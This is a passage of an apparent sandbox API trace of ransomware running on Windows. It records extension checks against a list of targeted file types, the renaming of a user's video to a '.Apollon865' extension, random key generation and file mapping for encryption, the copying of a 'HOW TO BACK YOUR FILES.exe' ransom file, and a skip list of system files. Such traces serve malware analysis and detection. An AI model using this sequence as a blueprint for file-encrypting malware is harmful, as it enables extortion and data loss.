	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dsn") returned 1
	[0086.606] lstrlenW (lpString="dtsx") returned 4
	[0086.606] lstrcmpiW (lpString1=".mp4", lpString2="dtsx") returned -1
	[0086.606] lstrlenW (lpString="dxl") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="dxl") returned 1
	[0086.607] lstrlenW (lpString="eco") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="eco") returned 1
	[0086.607] lstrlenW (lpString="ecx") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="ecx") returned 1
	[0086.607] lstrlenW (lpString="edb") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="edb") returned 1
	[0086.607] lstrlenW (lpString="epim") returned 4
	[0086.607] lstrcmpiW (lpString1=".mp4", lpString2="epim") returned -1
	[0086.607] lstrlenW (lpString="fcd") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fcd") returned 1
	[0086.607] lstrlenW (lpString="fdb") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fdb") returned 1
	[0086.607] lstrlenW (lpString="fic") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fic") returned 1
	[0086.607] lstrlenW (lpString="flexolibrary") returned 12
	[0086.607] lstrcmpiW (lpString1="sna9isfQ.mp4", lpString2="flexolibrary") returned 1
	[0086.607] lstrlenW (lpString="fm5") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fm5") returned 1
	[0086.607] lstrlenW (lpString="fmp") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fmp") returned 1
	[0086.607] lstrlenW (lpString="fmp12") returned 5
	[0086.607] lstrcmpiW (lpString1="Q.mp4", lpString2="fmp12") returned 1
	[0086.607] lstrlenW (lpString="fmpsl") returned 5
	[0086.607] lstrcmpiW (lpString1="Q.mp4", lpString2="fmpsl") returned 1
	[0086.607] lstrlenW (lpString="fol") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fol") returned 1
	[0086.607] lstrlenW (lpString="fp3") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fp3") returned 1
	[0086.607] lstrlenW (lpString="fp4") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fp4") returned 1
	[0086.607] lstrlenW (lpString="fp5") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fp5") returned 1
	[0086.607] lstrlenW (lpString="fp7") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fp7") returned 1
	[0086.607] lstrlenW (lpString="fpt") returned 3
	[0086.607] lstrcmpiW (lpString1="mp4", lpString2="fpt") returned 1
	[0086.608] lstrlenW (lpString="frm") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="frm") returned 1
	[0086.608] lstrlenW (lpString="gdb") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.608] lstrlenW (lpString="gdb") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.608] lstrlenW (lpString="grdb") returned 4
	[0086.608] lstrcmpiW (lpString1=".mp4", lpString2="grdb") returned -1
	[0086.608] lstrlenW (lpString="gwi") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="gwi") returned 1
	[0086.608] lstrlenW (lpString="hdb") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="hdb") returned 1
	[0086.608] lstrlenW (lpString="his") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="his") returned 1
	[0086.608] lstrlenW (lpString="ib") returned 2
	[0086.608] lstrcmpiW (lpString1="p4", lpString2="ib") returned 1
	[0086.608] lstrlenW (lpString="idb") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="idb") returned 1
	[0086.608] lstrlenW (lpString="ihx") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="ihx") returned 1
	[0086.608] lstrlenW (lpString="itdb") returned 4
	[0086.608] lstrcmpiW (lpString1=".mp4", lpString2="itdb") returned -1
	[0086.608] lstrlenW (lpString="itw") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="itw") returned 1
	[0086.608] lstrlenW (lpString="jet") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="jet") returned 1
	[0086.608] lstrlenW (lpString="jtx") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="jtx") returned 1
	[0086.608] lstrlenW (lpString="kdb") returned 3
	[0086.608] lstrcmpiW (lpString1="mp4", lpString2="kdb") returned 1
	[0086.608] lstrlenW (lpString="kexi") returned 4
	[0086.608] lstrcmpiW (lpString1=".mp4", lpString2="kexi") returned -1
	[0086.608] lstrlenW (lpString="kexic") returned 5
	[0086.608] lstrcmpiW (lpString1="Q.mp4", lpString2="kexic") returned 1
	[0086.608] lstrlenW (lpString="kexis") returned 5
	[0086.608] lstrcmpiW (lpString1="Q.mp4", lpString2="kexis") returned 1
	[0086.608] lstrlenW (lpString="lgc") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="lgc") returned 1
	[0086.609] lstrlenW (lpString="lwx") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="lwx") returned 1
	[0086.609] lstrlenW (lpString="maf") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="maf") returned 1
	[0086.609] lstrlenW (lpString="maq") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="maq") returned 1
	[0086.609] lstrlenW (lpString="mar") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mar") returned 1
	[0086.609] lstrlenW (lpString="marshal") returned 7
	[0086.609] lstrcmpiW (lpString1="sfQ.mp4", lpString2="marshal") returned 1
	[0086.609] lstrlenW (lpString="mas") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mas") returned 1
	[0086.609] lstrlenW (lpString="mav") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mav") returned 1
	[0086.609] lstrlenW (lpString="maw") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="maw") returned 1
	[0086.609] lstrlenW (lpString="mdbhtml") returned 7
	[0086.609] lstrcmpiW (lpString1="sfQ.mp4", lpString2="mdbhtml") returned 1
	[0086.609] lstrlenW (lpString="mdn") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mdn") returned 1
	[0086.609] lstrlenW (lpString="mdt") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mdt") returned 1
	[0086.609] lstrlenW (lpString="mfd") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mfd") returned 1
	[0086.609] lstrlenW (lpString="mpd") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mpd") returned -1
	[0086.609] lstrlenW (lpString="mrg") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mrg") returned -1
	[0086.609] lstrlenW (lpString="mud") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mud") returned -1
	[0086.609] lstrlenW (lpString="mwb") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="mwb") returned -1
	[0086.609] lstrlenW (lpString="myd") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="myd") returned -1
	[0086.609] lstrlenW (lpString="ndf") returned 3
	[0086.609] lstrcmpiW (lpString1="mp4", lpString2="ndf") returned -1
	[0086.610] lstrlenW (lpString="nnt") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="nnt") returned -1
	[0086.610] lstrlenW (lpString="nrmlib") returned 6
	[0086.610] lstrcmpiW (lpString1="fQ.mp4", lpString2="nrmlib") returned -1
	[0086.610] lstrlenW (lpString="ns2") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="ns2") returned -1
	[0086.610] lstrlenW (lpString="ns3") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="ns3") returned -1
	[0086.610] lstrlenW (lpString="ns4") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="ns4") returned -1
	[0086.610] lstrlenW (lpString="nsf") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="nsf") returned -1
	[0086.610] lstrlenW (lpString="nv") returned 2
	[0086.610] lstrcmpiW (lpString1="p4", lpString2="nv") returned 1
	[0086.610] lstrlenW (lpString="nv2") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="nv2") returned -1
	[0086.610] lstrlenW (lpString="nwdb") returned 4
	[0086.610] lstrcmpiW (lpString1=".mp4", lpString2="nwdb") returned -1
	[0086.610] lstrlenW (lpString="nyf") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="nyf") returned -1
	[0086.610] lstrlenW (lpString="odb") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.610] lstrlenW (lpString="odb") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.610] lstrlenW (lpString="oqy") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="oqy") returned -1
	[0086.610] lstrlenW (lpString="ora") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="ora") returned -1
	[0086.610] lstrlenW (lpString="orx") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="orx") returned -1
	[0086.610] lstrlenW (lpString="owc") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="owc") returned -1
	[0086.610] lstrlenW (lpString="p96") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="p96") returned -1
	[0086.610] lstrlenW (lpString="p97") returned 3
	[0086.610] lstrcmpiW (lpString1="mp4", lpString2="p97") returned -1
	[0086.610] lstrlenW (lpString="pan") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="pan") returned -1
	[0086.611] lstrlenW (lpString="pdb") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="pdb") returned -1
	[0086.611] lstrlenW (lpString="pdm") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="pdm") returned -1
	[0086.611] lstrlenW (lpString="pnz") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="pnz") returned -1
	[0086.611] lstrlenW (lpString="qry") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="qry") returned -1
	[0086.611] lstrlenW (lpString="qvd") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="qvd") returned -1
	[0086.611] lstrlenW (lpString="rbf") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="rbf") returned -1
	[0086.611] lstrlenW (lpString="rctd") returned 4
	[0086.611] lstrcmpiW (lpString1=".mp4", lpString2="rctd") returned -1
	[0086.611] lstrlenW (lpString="rod") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="rod") returned -1
	[0086.611] lstrlenW (lpString="rodx") returned 4
	[0086.611] lstrcmpiW (lpString1=".mp4", lpString2="rodx") returned -1
	[0086.611] lstrlenW (lpString="rpd") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="rpd") returned -1
	[0086.611] lstrlenW (lpString="rsd") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="rsd") returned -1
	[0086.611] lstrlenW (lpString="sas7bdat") returned 8
	[0086.611] lstrcmpiW (lpString1="isfQ.mp4", lpString2="sas7bdat") returned -1
	[0086.611] lstrlenW (lpString="sbf") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="sbf") returned -1
	[0086.611] lstrlenW (lpString="scx") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="scx") returned -1
	[0086.611] lstrlenW (lpString="sdb") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="sdb") returned -1
	[0086.611] lstrlenW (lpString="sdc") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="sdc") returned -1
	[0086.611] lstrlenW (lpString="sdf") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="sdf") returned -1
	[0086.611] lstrlenW (lpString="sis") returned 3
	[0086.611] lstrcmpiW (lpString1="mp4", lpString2="sis") returned -1
	[0086.611] lstrlenW (lpString="spq") returned 3
	[0086.612] lstrcmpiW (lpString1="mp4", lpString2="spq") returned -1
	[0086.612] lstrlenW (lpString="te") returned 2
	[0086.612] lstrcmpiW (lpString1="p4", lpString2="te") returned -1
	[0086.612] lstrlenW (lpString="teacher") returned 7
	[0086.612] lstrcmpiW (lpString1="sfQ.mp4", lpString2="teacher") returned -1
	[0086.612] lstrlenW (lpString="tmd") returned 3
	[0086.612] lstrcmpiW (lpString1="mp4", lpString2="tmd") returned -1
	[0086.612] lstrlenW (lpString="tps") returned 3
	[0086.612] lstrcmpiW (lpString1="mp4", lpString2="tps") returned -1
	[0086.612] lstrlenW (lpString="trc") returned 3
	[0086.612] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.612] lstrlenW (lpString="trc") returned 3
	[0086.612] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.612] lstrlenW (lpString="trm") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="trm") returned -1
	[0086.613] lstrlenW (lpString="udb") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="udb") returned -1
	[0086.613] lstrlenW (lpString="udl") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="udl") returned -1
	[0086.613] lstrlenW (lpString="usr") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="usr") returned -1
	[0086.613] lstrlenW (lpString="v12") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="v12") returned -1
	[0086.613] lstrlenW (lpString="vis") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="vis") returned -1
	[0086.613] lstrlenW (lpString="vpd") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="vpd") returned -1
	[0086.613] lstrlenW (lpString="vvv") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="vvv") returned -1
	[0086.613] lstrlenW (lpString="wdb") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="wdb") returned -1
	[0086.613] lstrlenW (lpString="wmdb") returned 4
	[0086.613] lstrcmpiW (lpString1=".mp4", lpString2="wmdb") returned -1
	[0086.613] lstrlenW (lpString="wrk") returned 3
	[0086.613] lstrcmpiW (lpString1="mp4", lpString2="wrk") returned -1
	[0086.614] lstrlenW (lpString="xdb") returned 3
	[0086.614] lstrcmpiW (lpString1="mp4", lpString2="xdb") returned -1
	[0086.614] lstrlenW (lpString="xld") returned 3
	[0086.614] lstrcmpiW (lpString1="mp4", lpString2="xld") returned -1
	[0086.614] lstrlenW (lpString="xmlff") returned 5
	[0086.614] lstrcmpiW (lpString1="Q.mp4", lpString2="xmlff") returned -1
	[0086.614] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\ZgU-0Y lRy sna9isfQ.mp4.Apollon865") returned 103
	[0086.614] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\ZgU-0Y lRy sna9isfQ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\zgu-0y lry sna9isfq.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\ZgU-0Y lRy sna9isfQ.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\zgu-0y lry sna9isfq.mp4.apollon865"), dwFlags=0x1) returned 1
	[0086.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\ZgU-0Y lRy sna9isfQ.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\zgu-0y lry sna9isfq.mp4.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.615] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=44324) returned 1
	[0086.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.616] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.616] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.616] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.616] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb030, lpName=0x0) returned 0x15c
	[0086.617] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb030) returned 0x100000
	[0086.619] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.619] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.619] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.620] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.621] CloseHandle (hObject=0x15c) returned 1
	[0086.621] CloseHandle (hObject=0x9c) returned 1
	[0086.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.622] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fa920c0, ftCreationTime.dwHighDateTime=0x1d4d59a, ftLastAccessTime.dwLowDateTime=0x83f33d0, ftLastAccessTime.dwHighDateTime=0x1d4c90b, ftLastWriteTime.dwLowDateTime=0x83f33d0, ftLastWriteTime.dwHighDateTime=0x1d4c90b, nFileSizeHigh=0x0, nFileSizeLow=0xad24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZgU-0Y lRy sna9isfQ.mp4", cAlternateFileName="ZGU-0Y~1.MP4")) returned 0
	[0086.622] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.622] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0086.622] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q"
	[0086.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0086.622] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q") returned 55
	[0086.622] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q"
	[0086.623] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.623] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.623] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.624] GetLastError () returned 0x0
	[0086.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.624] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.624] CloseHandle (hObject=0x10c) returned 1
	[0086.624] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.624] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x156d5c90, ftCreationTime.dwHighDateTime=0x1d4c5b8, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.624] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.624] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.624] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.624] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x156d5c90, ftCreationTime.dwHighDateTime=0x1d4c5b8, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.624] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.624] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.624] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.624] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.624] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x945e9580, ftCreationTime.dwHighDateTime=0x1d4ca2e, ftLastAccessTime.dwLowDateTime=0x11250e90, ftLastAccessTime.dwHighDateTime=0x1d4c6f7, ftLastWriteTime.dwLowDateTime=0x11250e90, ftLastWriteTime.dwHighDateTime=0x1d4c6f7, nFileSizeHigh=0x0, nFileSizeLow=0xc4eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9EneLV-Fg4V.mkv", cAlternateFileName="9ENELV~1.MKV")) returned 1
	[0086.624] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.624] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="Apollon865.txt.exe") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".") returned 1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="..") returned 1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="windows") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="bootmgr") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="temp") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="pagefile.sys") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="boot") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="ids.txt") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="ntuser.dat") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="perflogs") returned -1
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2="MSBuild") returned -1
	[0086.625] lstrlenW (lpString="9EneLV-Fg4V.mkv") returned 15
	[0086.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\*") returned 57
	[0086.625] lstrcpyW (in: lpString1=0x119e678, lpString2="9EneLV-Fg4V.mkv" | out: lpString1="9EneLV-Fg4V.mkv") returned="9EneLV-Fg4V.mkv"
	[0086.625] lstrlenW (lpString="9EneLV-Fg4V.mkv") returned 15
	[0086.625] lstrlenW (lpString="Apollon865") returned 10
	[0086.625] lstrcmpiW (lpString1="V-Fg4V.mkv", lpString2="Apollon865") returned 1
	[0086.625] lstrlenW (lpString=".dll") returned 4
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".dll") returned 1
	[0086.625] lstrlenW (lpString=".lnk") returned 4
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".lnk") returned 1
	[0086.625] lstrlenW (lpString=".ini") returned 4
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".ini") returned 1
	[0086.625] lstrlenW (lpString=".sys") returned 4
	[0086.625] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".sys") returned 1
	[0086.625] lstrlenW (lpString="9EneLV-Fg4V.mkv") returned 15
	[0086.625] lstrlenW (lpString="bak") returned 3
	[0086.625] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.625] lstrlenW (lpString="ba_") returned 3
